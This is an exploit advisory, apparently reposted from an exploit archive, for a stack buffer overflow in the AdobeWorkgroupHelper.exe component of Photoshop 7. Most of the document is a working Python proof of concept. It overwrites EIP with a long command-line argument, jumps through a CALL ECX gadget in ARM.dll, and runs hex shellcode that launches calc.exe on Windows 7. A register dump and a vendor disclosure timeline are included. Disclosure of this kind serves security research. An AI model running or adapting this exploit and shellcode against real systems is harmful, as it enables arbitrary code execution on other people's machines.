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AdobeWorkgroupHelper.exe 2.8.3.3 Buffer Overflow Exploit
[Vendor:
================================
www.adobe.com
Product:
=================================
AdobeWorkgroupHelper.exe v2.8.3.3
Part of Photoshop 7.0 circa 2002
Vulnerability Type:
===========================
Stack Based Buffer Overflow
Vulnerability Details:
=====================
AdobeWorkgroupHelper.exe is a component of the Photoshop 7 workgroup
functionality, that lets users work with files on a server that is
registered as a workgroup.
If AdobeWorkgroupHelper.exe is called with an overly long command line
argument it is vulnerable to a stack based buffer overflow exploit.
Resluting in arbitrary code execution undermining the integrity of the
program. We can control EIP register at about 5,856 bytes, our shellcode
will point
to ECX register.
Tested successfully on Windows 7 SP1
Exploit code(s):
===============
Use below python script to exploit...
import struct,os,subprocess
#Photoshop 7 AdobeWorkgroupHelper.exe buffer overflow exploit
#Tested Windows 7 SP1
#------------------------------------
#by hyp3rlinx - apparitionsec@gmail.com
#hyp3rlinx.altervista.org
#==============================================================
#
#0x618b19f7 : call ecx | {PAGE_EXECUTE_READ} [ARM.dll]
#ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.8.3.3
#(C:\Program Files (x86)\Common Files\Adobe\Workflow\ARM.dll)
#===============================================================
'''
Quick Register dump...
EAX 00270938
ECX 00270A7C <---------------BOOM!
EDX 00A515FC ASCII "AAAAAA..."
EBX 41414140
ESP 0018FEB0
EBP 0018FED0
ESI 00000000
EDI 41414141
EIP 004585C8 AdobeWor.004585C8
C 0 ES 002B 32bit 0(FFFFFFFF)
P 0 CS 0023 32bit 0(FFFFFFFF)
A 0 SS 002B 32bit 0(FFFFFFFF)
Z 0 DS 002B 32bit 0(FFFFFFFF)
S 0 FS 0053 32bit 7EFDD000(FFF)
T 0 GS 002B 32bit 0(FFFFFFFF)
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010202 (NO,NB,NE,A,NS,PO,GE,G)
'''
#shellcode to pop calc.exe Windows 7 SP1
sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"
"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"
"\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"
"\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"
"\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"
"\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"
"\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")
vulnpgm="C:\Program Files (x86)\Common
Files\Adobe\Workflow\AdobeWorkgroupHelper.exe "
#payload="A"*5852+"R"*4 #<---- control EIP register
#our shellcode will point at ECX register, so we need to find an JMP or
CALL ECX and point EIP to that address
#where our malicious code resides, we find it in ARM.dll
eip=struct.pack('<L', 0x618B19F7) #CALL ECX ARM.dll v2.8.3.3
payload="A"*5852+eip+"\x90"*20+sc #<----- direct EIP overwrite BOOOOOM!!!
subprocess.Popen([vulnpgm, payload], shell=False)
Disclosure Timeline:
=========================================================
Vendor Notification: August 31, 2015
October 12, 2015 : Public Disclosure
# 0day.today [2024-09-19] #